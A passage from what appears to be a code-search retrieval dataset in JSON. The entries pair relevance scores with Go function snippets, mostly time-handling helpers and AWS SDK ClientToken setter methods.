TimeOffRequests()(*i2ad47c4606f7a2a188f343b2ac1db602b5e9e1dbfe7bfbea053a304d630990a6.TimeOffRequestsRequestBuilder) {\n return i2ad47c4606f7a2a188f343b2ac1db602b5e9e1dbfe7bfbea053a304d630990a6.NewTimeOffRequestsRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "64b354f2bd454b9902d90fedab615442", "score": "0.46616602", "text": "func (h *UntilHelper) Run(config string) string {\n\tts, err := strconv.ParseInt(config, 10, 64)\n\tif err != nil {\n\t\treturn \"bad timestamp\"\n\t}\n\tremaining := time.Until(time.Unix(ts, 0)).Truncate(time.Second)\n\tif remaining < 0 {\n\t\treturn \"0s\"\n\t}\n\treturn remaining.String()\n}", "title": "" }, { "docid": "74e35fe1611e90930e10df9813842cac", "score": "0.4659542", "text": "func (t *TaskInfo) UntilTS(ts uint64) *TaskInfo {\n\tt.PBInfo.EndTs = ts\n\treturn t\n}", "title": "" }, { "docid": "35e6618af81613ee3d13baaa7a5ae416", "score": "0.46494317", "text": "func getDelay(departure *time.Time) int {\n\treturn int(departure.Sub(time.Now().UTC()).Minutes())\n}", "title": "" }, { "docid": "cf9f16a96b8c868a02a61e42f03ad6fd", "score": "0.46386102", "text": "func OnceAtUTC(t time.Time) OnceAtUTCSchedule {\n\treturn OnceAtUTCSchedule{Time: t}\n}", "title": "" }, { "docid": "98f115b6414adb10e207b1f0dc62d1d2", "score": "0.46373254", "text": "func NewOnTime(entireDuration time.Duration, divisions int) *OnTime {\n\treturn &OnTime{\n\t\tEntire: entireDuration,\n\t\tDivisions: divisions,\n\t\tunit: entireDuration / time.Duration(divisions),\n\t\tm: make(map[int64]float64),\n\t}\n}", "title": "" }, { "docid": "76bd77955c358e233b1369878f346410", "score": "0.4614508", "text": "func (t *Time) EndOfHour() *Time {\n\treturn t.StartOfHour().Add(time.Hour - time.Nanosecond)\n}", "title": "" }, { "docid": "86bc55010f6431a5c0bf5d7ca6daeecd", "score": "0.460778", "text": "func zeroOutTimeFromDate(datetime time.Time) time.Time {\n datetime = datetime.Add(time.Duration(-datetime.Hour()) * time.Hour)\n datetime = datetime.Add(time.Duration(-datetime.Minute()) * time.Minute)\n datetime = datetime.Add(time.Duration(-datetime.Second()) * time.Second)\n datetime = datetime.Add(time.Duration(-datetime.Nanosecond()) * time.Nanosecond)\n return datetime\n}", "title": "" }, { "docid": "6818944ced2558793fdf7b400475e45a", "score": "0.46036676", "text": "func IsAfterHours(now time.Time) (closed bool, timeToOpen time.Duration) {\n\tloc := now.Location()\n\tif IsWeekend(now) {\n\t\tdays := DaysToMonday(now.Weekday())\n\t\tmondayOpeningTime := time.Date(now.Year(), now.Month(), now.Day()+days, openingHour, 0, 0, 0, loc)\n\t\ttimeToOpen = mondayOpeningTime.Sub(now)\n\t\treturn true, timeToOpen\n\t}\n\n\tif now.Hour() < openingHour {\n\t\topenToday := time.Date(now.Year(), now.Month(), now.Day(), openingHour, 0, 0, 0, loc)\n\t\ttimeToOpen = openToday.Sub(now)\n\t\treturn true, timeToOpen\n\t}\n\n\tif now.Hour() >= closingHour {\n\t\topenTomorrow := time.Date(now.Year(), now.Month(), now.Day()+1, openingHour, 0, 0, 0, loc)\n\t\ttimeToOpen = openTomorrow.Sub(now)\n\t\treturn true, timeToOpen\n\t}\n\n\treturn false, timeToOpen // 0 time\n}", "title": "" }, { "docid": "d86272902a9e8ece5334e28bfe4fa2b2", "score": "0.45904818", "text": "func (response NumberLookupResponse) GetValidUntillDateTime() time.Time {\n\treturn response.validUntilDateTime\n}", "title": "" }, { "docid": "93c3e5d1b4680c83795a0d9ed9f537c4", "score": "0.45894283", "text": "func (t Time) OnThatDay(day time.Time) time.Time {\n\tloc := time.Local\n\tif t.utcAdjusted {\n\t\tloc = time.UTC\n\t}\n\n\treturn time.Date(day.Year(), day.Month(), day.Day(), t.Hour(), t.Minute(), t.Second(), t.Nanosecond(), loc)\n}", "title": "" }, { "docid": "a3301bcd26821ce38d036a77d4215f97", "score": "0.45786616", "text": "func SleepTimeGT(v time.Time) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldSleepTime), v))\n\t})\n}", "title": "" }, { "docid": "f5fe289882ace7399a03af34e3c10644", "score": "0.457477", "text": "func (b *MetricsRequestBuilder) StartingOn(v time.Time) *MetricsRequestBuilder {\n\tb.firstTimePeriod = v\n\treturn b\n}", "title": "" }, { "docid": "77c84fc89719e842119c7f6b71f8d9dc", "score": "0.45722923", "text": "func (b *Booking) SetTimeFrom(t time.Time) {\n\tif !b.TimeFrom.Equal(t) {\n\t\tb.TimeChange = true\n\t\tb.EventGoogleUpdate = true\n\t\tb.MeetingZoomUpdate = b.EnableZoom\n\t}\n\tb.TimeFrom = t\n\tb.TimeFromPadded = b.TimeFrom.Add(-time.Duration(b.ServicePadding) * time.Minute)\n\n\t//default the to-time\n\tif b.IsApptOnly() {\n\t\tb.SetTimeTo(b.TimeFrom.Add(time.Duration(b.ServiceDuration) * time.Minute))\n\t} else {\n\t\tb.SetTimeTo(b.TimeFrom)\n\t}\n}", "title": "" }, { "docid": "0e7a19ce97bfd8fbbe9cc23270693ecd", "score": "0.45707044", "text": "func (l License) Wall(ref time.Time) time.Time {\n\td := time.Duration(-ref.Hour()) * time.Hour\n\treturn ref.Truncate(time.Hour).Add(d + l.Delay())\n}", "title": "" }, { "docid": "dd03c01b30be96df539f102cc82bf9a2", "score": "0.45687217", "text": "func (buo *BouncerUpdateOne) SetUntil(t time.Time) *BouncerUpdateOne {\n\tbuo.mutation.SetUntil(t)\n\treturn buo\n}", "title": "" }, { "docid": "4c2109c5e6c01c3d39f4b8f46b90958b", "score": "0.45678058", "text": "func (c *LimitedConnection) waitUntil(t time.Time) bool {\n\ttimer := time.NewTimer(t.Sub(time.Now()))\n\tdefer timer.Stop()\n\tselect {\n\tcase <-timer.C:\n\t\treturn false\n\tcase <-c.close:\n\t\treturn true\n\t}\n}", "title": "" }, { "docid": "79202dcc966510ea8efe32dc1510137e", "score": "0.45643452", "text": "func Until(something func() (bool, error), tick, timeout time.Duration) (bool, error) {\n\tcounter := 0\n\ttickChan := time2.Every(tick)\n\ttimeoutChan := time.After(timeout)\n\tfor {\n\t\tselect {\n\t\tcase <-tickChan:\n\t\t\tok, err := something()\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t} else if ok {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\tcounter = counter + 1\n\t\tcase <-timeoutChan:\n\t\t\treturn false, &ErrTimout{\n\t\t\t\ttext: fmt.Sprintf(\"timed out after: %s, tries: %d\", timeout, counter),\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4f7392d34966c393e50a064f4bd80bf7", "score": "0.45616558", "text": "func (st *Statistics) TriggerOff(eventName string) {\n\tst.TriggerTimed(eventName, false)\n}", "title": "" }, { "docid": "d123742983d7142fb0634422503f1551", "score": "0.45541942", "text": "func Uptime() time.Duration {\n\treturn time.Now().UTC().Sub(startTime)\n}", "title": "" }, { "docid": "b8bbed9dffe51483c0003a78c9252881", "score": "0.4549384", "text": "func (m *Windows10GeneralConfiguration) GetDefenderScheduledScanTime()(*i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.TimeOnly) {\n return m.defenderScheduledScanTime\n}", "title": "" }, { "docid": "ea2a935e0656b4053facd17daf8025ce", "score": "0.45460317", "text": "func (m *ScheduleRequestBuilder) TimesOffById(id string)(*id54e49d27fe39eb2b19a73b7f41eb9c65318265f3e9be65ced863c7266f4755b.TimeOffItemRequestBuilder) {\n urlTplParams := make(map[string]string)\n for idx, item := range m.pathParameters {\n urlTplParams[idx] = item\n }\n if id != \"\" {\n urlTplParams[\"timeOff%2Did\"] = id\n }\n return id54e49d27fe39eb2b19a73b7f41eb9c65318265f3e9be65ced863c7266f4755b.NewTimeOffItemRequestBuilderInternal(urlTplParams, m.requestAdapter);\n}", "title": "" }, { "docid": "954200d5dbe37be5174c02bc4fd3aad2", "score": "0.45355424", "text": "func (cfg DeadlineConfig) PauseAt() time.Time {\n\treturn cfg.BeginAt.Add(cfg.PauseDelay)\n}", "title": "" }, { "docid": "5198b0e59e79cf5c99b896108cd13c5d", "score": "0.45190352", "text": "func WakeUpTimeLTE(v time.Time) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldWakeUpTime), v))\n\t})\n}", "title": "" }, { "docid": "7b03368e2e53acfe325df4f5f16b25a7", "score": "0.45098746", "text": "func (a *TeamUserStatus) IsInTime(t int64) bool {\n\tif a.StartTime == 0 || a.EndTime == 0 {\n\t\treturn true\n\t}\n\tnow := time.Unix(t, 0).Format(\"15:04\")\n\tt1 := time.Unix(int64(a.StartTime), 0).In(time.UTC).Format(\"15:04\")\n\tt2 := time.Unix(int64(a.EndTime), 0).In(time.UTC).Format(\"15:04\")\n\tif a.EndTime > a.StartTime {\n\t\treturn now >= t1 && now <= t2\n\t}\n\treturn !(now >= t2 && now <= t1)\n}", "title": "" }, { "docid": "c6ab1b2ad8879a9b6da974caf5fee82b", "score": "0.45063367", "text": "func (r *Route) TimeTillExpiration() time.Duration {\n\tts := timestamp.TimestampToTime(r.ExpirationTimestamp)\n\tnow := time.Now()\n\tdiff := ts.Sub(now)\n\n\t// TODO: additional logic to deal with out of sync clocks\n\n\treturn diff\n}", "title": "" }, { "docid": "306b53d1a1f6868bb1486fbc4711105f", "score": "0.4504777", "text": "func (obj *genesis) ActiveOn() time.Time {\n\treturn obj.activeOn\n}", "title": "" }, { "docid": "626c7efb37fb3932c9e527d724c6cd1d", "score": "0.44964495", "text": "func (t TimeWarp) Since(now TimeWarp) string {\n\tvar d time.Duration = now.Time.Sub(t.Time)\n\treturn d.String()\n}", "title": "" }, { "docid": "02ff2f807b3a5b494a9f0f44c1162f89", "score": "0.44906706", "text": "func WakeUpTimeIn(vs ...time.Time) predicate.User {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.User(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.In(s.C(FieldWakeUpTime), v...))\n\t})\n}", "title": "" }, { "docid": "92f5a8a2cf88fe3aa3491e0dccebbd43", "score": "0.44901958", "text": "func (job *Job) DueAt(t time.Time) (bool, error) {\n\texpr, err := cronexpr.Parse(job.Due)\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"failed to parse cron expression %q: %v\", job.Due, err)\n\t}\n\tthisMinute := t.Truncate(time.Minute)\n\n\t// If the job is due to run now, `expr.Next(now)`` will return the *next*\n\t// time it's due. So we call `expr.Next` with the time one second before\n\t// the start of the current minute. If the result is the current minute,\n\t// then the job is due to run now.\n\tnextRunMinute := expr.Next(thisMinute.Add(-1 * time.Second))\n\treturn thisMinute == nextRunMinute, nil\n}", "title": "" }, { "docid": "f75607a89a118a4731d4425d2afeb645", "score": "0.44899347", "text": "func WakeUpTimeEQ(v time.Time) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldWakeUpTime), v))\n\t})\n}", "title": "" }, { "docid": "e11c94f9931a798dc4bcdbc6103963b4", "score": "0.44837025", "text": "func (bu *BouncerUpdate) SetUntil(t time.Time) *BouncerUpdate {\n\tbu.mutation.SetUntil(t)\n\treturn bu\n}", "title": "" }, { "docid": "393f4526f55cda3bb56ada67d09aca5d", "score": "0.4482324", "text": "func (t InstanceTime) After(u InstanceTime) bool {\n\treturn t > u\n}", "title": "" }, { "docid": "f50620352f62059d58a8ae11d0763509", "score": "0.44648537", "text": "func (s *scheduler) At(at time.Time) *scheduler {\n\ts.at = at\n\treturn s\n}", "title": "" }, { "docid": "82bbef7f198caa0fa75ed4c1d3a783df", "score": "0.44618282", "text": "func (duty *DutyInfo) IsInTime(t int64) bool {\n\tif duty.BeginTime == duty.EndTime {\n\t\treturn false\n\t}\n\tnow := time.Unix(t, 0).Format(\"15:04\")\n\tt1 := time.Unix(int64(duty.BeginTime), 0).In(time.UTC).Format(\"15:04:05\")\n\tt2 := time.Unix(int64(duty.EndTime), 0).In(time.UTC).Format(\"15:04:05\")\n\tif duty.EndTime > duty.BeginTime {\n\t\treturn now >= t1 && now <= t2\n\t}\n\treturn !(now >= t2 && now <= t1)\n}", "title": "" }, { "docid": "82d4d86d9ede85e4457f7030e849e8ac", "score": "0.44548905", "text": "func (st *Statistics) TriggerOn(eventName string) {\n\tst.TriggerTimed(eventName, true)\n}", "title": "" }, { "docid": "cce58c166fbd4f26b88fdee3709bdb83", "score": "0.44460896", "text": "func sleepUntilTimeout() int {\n\tinterval := genInterval()\n\ttime.Sleep(time.Duration(interval) * time.Millisecond)\n\treturn interval\n}", "title": "" }, { "docid": "11f545d6ec8cbfe1c1f23a6305da7a2e", "score": "0.44405374", "text": "func (c *rtc) Alarm() (t time.Time, err error) {\n\n\treturn time.Time{}, nil\n}", "title": "" }, { "docid": "555ccc603ea6ed25d5fe42c9a56641f6", "score": "0.44371265", "text": "func (jbobject *UtilClock) WaitTillTime(a int64) int64 {\n\tjret, err := jbobject.CallMethod(javabind.GetEnv(), \"waitTillTime\", javabind.Long, a)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn jret.(int64)\n}", "title": "" }, { "docid": "d0503d102870423d539cf00d809408f2", "score": "0.4425769", "text": "func (e *HTMLElement) OnTimeUpdate(v Action) *HTMLElement {\n\te.a[\"ontimeupdate\"] = v\n\treturn e\n}", "title": "" }, { "docid": "618eb8e95004d8bedd610412650f8409", "score": "0.44245338", "text": "func (m *DeviceHealthScriptTimeSchedule) GetTime()(*i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.TimeOnly) {\n val, err := m.GetBackingStore().Get(\"time\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.TimeOnly)\n }\n return nil\n}", "title": "" }, { "docid": "eea5fbc2380bc7ec5880e280676972ec", "score": "0.4424465", "text": "func withinTimePeriod(start, end, now time.Time) bool {\n\t// Converts to UTC and only keeps the hour and minute info.\n\tstart, end, now = start.UTC(), end.UTC(), now.UTC()\n\tstart = time.Date(0, 0, 0, start.Hour(), start.Minute(), 0, 0, time.UTC)\n\tend = time.Date(0, 0, 0, end.Hour(), end.Minute(), 0, 0, time.UTC)\n\tnow = time.Date(0, 0, 0, now.Hour(), now.Minute(), 0, 0, time.UTC)\n\t// for cases like from 00:00 to 06:00\n\tif end.Sub(start) >= 0 {\n\t\treturn now.Sub(start) >= 0 && now.Sub(end) <= 0\n\t}\n\t// for cases like from 22:00 to 06:00\n\treturn now.Sub(end) <= 0 || now.Sub(start) >= 0\n}", "title": "" }, { "docid": "45e2c9415f54a7cc6adfeef6db8d3901", "score": "0.44037908", "text": "func TimedOff(eventName string) event.Bindable {\n\treturn TimedBind(eventName, false)\n}", "title": "" }, { "docid": "0e2824e860c405f39bc76c5a620daaa1", "score": "0.44026625", "text": "func RemainingOvenTime (time int) int {\n return OvenTime - time\n}", "title": "" } ]
1eb357b32fa0358ba4b882e2986bc0ba
SetClientToken sets the ClientToken field's value.
[ { "docid": "50a276f2f4d6246024f291e00bb83778", "score": "0.8323438", "text": "func (s *CreateModelInput) SetClientToken(v string) *CreateModelInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" } ]
[ { "docid": "1a9c3cb5d241abcbd677f01ff8d43931", "score": "0.84299874", "text": "func (s *CreateQuantumTaskInput) SetClientToken(v string) *CreateQuantumTaskInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "3f637e42cb876f6a30f44b75a40db35e", "score": "0.84064144", "text": "func (s *CancelQuantumTaskInput) SetClientToken(v string) *CancelQuantumTaskInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "b5b41b00187bae24003e0cc0f66f2327", "score": "0.83851844", "text": "func (s *PutMultiRegionAccessPointPolicyInput) SetClientToken(v string) *PutMultiRegionAccessPointPolicyInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "8d3fb55c1e5b15ab02e07d9f4385d4f0", "score": "0.838053", "text": "func (s *CreateAccessLogSubscriptionInput) SetClientToken(v string) *CreateAccessLogSubscriptionInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "89f930546f707c39673fe99a69daf5d9", "score": "0.83793753", "text": "func (s *StartModelPackagingJobInput) SetClientToken(v string) *StartModelPackagingJobInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "2261f956c7fc5356da81b66d75084540", "score": "0.8354245", "text": "func (s *CreateExperimentTemplateInput) SetClientToken(v string) *CreateExperimentTemplateInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "30dd7bcb5bded76c41a25e4afefee945", "score": "0.8338426", "text": "func (s *DeleteMultiRegionAccessPointInput) SetClientToken(v string) *DeleteMultiRegionAccessPointInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "594d7c329b6e7892ced5010713ed74c8", "score": "0.8335823", "text": "func (s *CreateMultiRegionAccessPointInput) SetClientToken(v string) *CreateMultiRegionAccessPointInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "9cf1c01e229c68411481754f30f4f2b0", "score": "0.83209616", "text": "func (s *CreateTemplateInput) SetClientToken(v string) *CreateTemplateInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "1bef61d0c5f14a2cc1856705954cb147", "score": "0.8312665", "text": "func (s *DeleteModelInput) SetClientToken(v string) *DeleteModelInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "74e1c0be97feb555322bd4ebe1d8e289", "score": "0.8305953", "text": "func (s *CreateTemplateGroupAccessControlEntryInput) SetClientToken(v string) *CreateTemplateGroupAccessControlEntryInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "0d3fb4fefe1b01555616453dd432b89b", "score": "0.8301078", "text": "func (s *UpdateDatasetEntriesInput) SetClientToken(v string) *UpdateDatasetEntriesInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "413d5516b7f6fa0d40972af09e277a9a", "score": "0.8300789", "text": "func (s *CreateEnvironmentInput) SetClientToken(v string) *CreateEnvironmentInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "d491b008baeb6139a83902f655ebdbf6", "score": "0.82986146", "text": "func (s *CreateComponentVersionInput) SetClientToken(v string) *CreateComponentVersionInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "4617c5589538efdf75b35b52d7812944", "score": "0.82909465", "text": "func (s *CreateRouteInput) SetClientToken(v string) *CreateRouteInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ba889f7923fc6abce109b6c2ef6bf907", "score": "0.8283309", "text": "func (s *DeleteProjectInput) SetClientToken(v string) *DeleteProjectInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "a49787765ea1d510dbffc0e7cfaac144", "score": "0.82733697", "text": "func (s *CreatePackageVersionInput) SetClientToken(v string) *CreatePackageVersionInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "f7f8e4f1a9caf7a3e39fa4a4253457b0", "score": "0.82724345", "text": "func (s *CreateProjectInput) SetClientToken(v string) *CreateProjectInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "fcc0133a2b8b8f39926cac94070e2ac9", "score": "0.8267752", "text": "func (s *DeletePackageVersionInput) SetClientToken(v string) *DeletePackageVersionInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "7cd9b91cfc3da3f061b0e524c3d2392e", "score": "0.82648945", "text": "func (s *CreateCaseInput) SetClientToken(v string) *CreateCaseInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ab42b5e615c81c2299e1e86f211c9bb9", "score": "0.8261789", "text": "func (s *UpdatePackageVersionInput) SetClientToken(v string) *UpdatePackageVersionInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "a4cf4e3e79bb13b3e4d3563bbb4ff96b", "score": "0.8251188", "text": "func (s *CreateDatasetInput) SetClientToken(v string) *CreateDatasetInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "40ce85c22a5fac3a51e9f4f2b99b343a", "score": "0.8249707", "text": "func (s *UpdatePackageInput) SetClientToken(v string) *UpdatePackageInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "248e7645903098769b38ed90c9f1a91a", "score": "0.82463443", "text": "func (s *UpdatePackageConfigurationInput) SetClientToken(v string) *UpdatePackageConfigurationInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "60b124d9a66898a4dee24a7689e855f7", "score": "0.82369727", "text": "func (s *DeleteDatasetInput) SetClientToken(v string) *DeleteDatasetInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "153e197227dfe85104868e6a8d48cb45", "score": "0.82307863", "text": "func (s *CreateServiceNetworkInput) SetClientToken(v string) *CreateServiceNetworkInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "6f8f877bdfb3c26f02c33423705f33d8", "score": "0.82274854", "text": "func (s *DeletePackageInput) SetClientToken(v string) *DeletePackageInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "653361f4ec49736eb4a4944d2d29375b", "score": "0.8227327", "text": "func (s *CreateTargetGroupInput) SetClientToken(v string) *CreateTargetGroupInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "5a903c067fed565d4795260e7491b6fd", "score": "0.8226783", "text": "func (s *StopModelInput) SetClientToken(v string) *StopModelInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "cb8cb5fdb3394168aacf5fd2433a36bc", "score": "0.8224973", "text": "func (s *StartExperimentInput) SetClientToken(v string) *StartExperimentInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "3feb6f66ab02d1a4fb9abd18253e8725", "score": "0.8224705", "text": "func (s *StartModelInput) SetClientToken(v string) *StartModelInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "07844acb8b077aacbf44721f897c1e84", "score": "0.82232153", "text": "func (s *CreateDeploymentInput) SetClientToken(v string) *CreateDeploymentInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "f5b50800c0e1058c377d074cd08f7146", "score": "0.82217836", "text": "func (s *CreateListenerInput) SetClientToken(v string) *CreateListenerInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "41efe3031ecd46b8d9aef60996ff36ed", "score": "0.8212676", "text": "func (s *CreateServiceNetworkVpcAssociationInput) SetClientToken(v string) *CreateServiceNetworkVpcAssociationInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "e1cf7930ba6d4f6ff013f2aa6e198410", "score": "0.8196", "text": "func (s *CreatePackageInput) SetClientToken(v string) *CreatePackageInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "927034ff505004883f283e5ae1ddf494", "score": "0.81939614", "text": "func (s *CreateRuleInput) SetClientToken(v string) *CreateRuleInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ae8751117ec43f9abe92cf6c5c698a33", "score": "0.81896174", "text": "func (s *CreateServiceNetworkServiceAssociationInput) SetClientToken(v string) *CreateServiceNetworkServiceAssociationInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "9b1ac1ec9e61cdef24873c157c8ba946", "score": "0.8163364", "text": "func (s *CreateApplicationInput) SetClientToken(v string) *CreateApplicationInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "082008c68d4212368ee7749744f2e361", "score": "0.81536496", "text": "func (s *CreateEventIntegrationInput) SetClientToken(v string) *CreateEventIntegrationInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "6c7ae17b1bdf382f078e0324ae706ccb", "score": "0.8145595", "text": "func (s *CreateDirectoryRegistrationInput) SetClientToken(v string) *CreateDirectoryRegistrationInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "b731c102b985397b323a05ba6f46550f", "score": "0.8101362", "text": "func (s *CreateServiceInput) SetClientToken(v string) *CreateServiceInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "b731c102b985397b323a05ba6f46550f", "score": "0.8101362", "text": "func (s *CreateServiceInput) SetClientToken(v string) *CreateServiceInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "bce174c2120f73849744091509d1eb35", "score": "0.8043964", "text": "func (s *CreateServicePrincipalNameInput) SetClientToken(v string) *CreateServicePrincipalNameInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "27a9b6e74c97781824e1d7952b27029d", "score": "0.7963252", "text": "func (s *CreateConnectorInput) SetClientToken(v string) *CreateConnectorInput {\n\ts.ClientToken = &v\n\treturn s\n}", "title": "" }, { "docid": "7d344e05c1849046a47fdb95a69418e5", "score": "0.7423741", "text": "func SetToken(token string) ClientOptionFunc {\n\treturn func(c *Client) error {\n\t\tc.token = token\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "8d0b06af753a2367f1df7c3119b02cb9", "score": "0.72096395", "text": "func (g *gitHubRepository) setClientToken(ctx context.Context, token string) {\n\tts := oauth2.StaticTokenSource(\n\t\t&oauth2.Token{AccessToken: token},\n\t)\n\tg.authenticatingHTTPClient = oauth2.NewClient(ctx, ts)\n}", "title": "" }, { "docid": "140c329a39e2a6e4680b290949ac1536", "score": "0.7171258", "text": "func (v *VaultAPI) SetToken(client *vault.Client, t string) {\n\tclient.SetToken(t)\n}", "title": "" }, { "docid": "655e39b59f8f461d552eb745ad522687", "score": "0.68119985", "text": "func SetToken(clientId string) {\n\n\t// tokenPath for the token\n\thome, _ := os.UserHomeDir()\n\ttokenPath := path.Join(home, tokeFile)\n\n\t// authenticate\n\ttoken := Authenticate(clientId)\n\n\t// save the token\n\terr := ioutil.WriteFile(tokenPath, []byte(token), 0600)\n\tif err != nil {\n\t\tlog.Fatal().Err(err).Msg(fmt.Sprintf(\"failed to write token to %s\", tokenPath))\n\t}\n\tlog.Info().Msg(fmt.Sprintf(\"token written to %s\", tokenPath))\n}", "title": "" }, { "docid": "c191576e2463bd2257686105b37967f0", "score": "0.6758375", "text": "func (v *Vault) SetToken(t string) {\n\tv.client.SetToken(t)\n}", "title": "" }, { "docid": "cb2851900d4a8ca82ecb887443b0f51f", "score": "0.6711785", "text": "func (client *MockClient) ClientToken(opts ...Option) string {\n\treturn \"mock_token\"\n}", "title": "" }, { "docid": "cddb96025aa15a92828de5a1623e4ac6", "score": "0.66815525", "text": "func (s *CreateLensVersionInput) SetClientRequestToken(v string) *CreateLensVersionInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "4e95fbc2086bd8b7884966e1ed52a1a7", "score": "0.66674006", "text": "func (s *ImportLensInput) SetClientRequestToken(v string) *ImportLensInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "81dc8e1b52189d44658fc3ef9044ead5", "score": "0.6650339", "text": "func (s *CreateLensShareInput) SetClientRequestToken(v string) *CreateLensShareInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "5369cfd6b927ca8a9e7e6f6b590131c9", "score": "0.6646001", "text": "func (s *DeleteLensInput) SetClientRequestToken(v string) *DeleteLensInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "7471ff0db749a7b6667e691247861922", "score": "0.6608768", "text": "func (s *UpgradeLensReviewInput) SetClientRequestToken(v string) *UpgradeLensReviewInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "58a8936fc031518d2f5011ea67e97021", "score": "0.6607011", "text": "func (s *DeleteLensShareInput) SetClientRequestToken(v string) *DeleteLensShareInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "b97cc90bb48a84b73a9be309a970e8ae", "score": "0.6601833", "text": "func (s *CopyBackupInput) SetClientRequestToken(v string) *CopyBackupInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "0a123f31faeec8a31a99a133e580e60a", "score": "0.65920174", "text": "func (s *CreateBackupInput) SetClientRequestToken(v string) *CreateBackupInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "a7d5d37aa254a46513ef837c3406e23d", "score": "0.6571982", "text": "func (s *UpdateSnapshotInput) SetClientRequestToken(v string) *UpdateSnapshotInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ba65fbfb71fe6def66b44c03e381de8f", "score": "0.65694", "text": "func (s *UpdateFileSystemInput) SetClientRequestToken(v string) *UpdateFileSystemInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "18106890cb1461cc88d04c1d69765e2f", "score": "0.6550348", "text": "func (s *UpdateVolumeInput) SetClientRequestToken(v string) 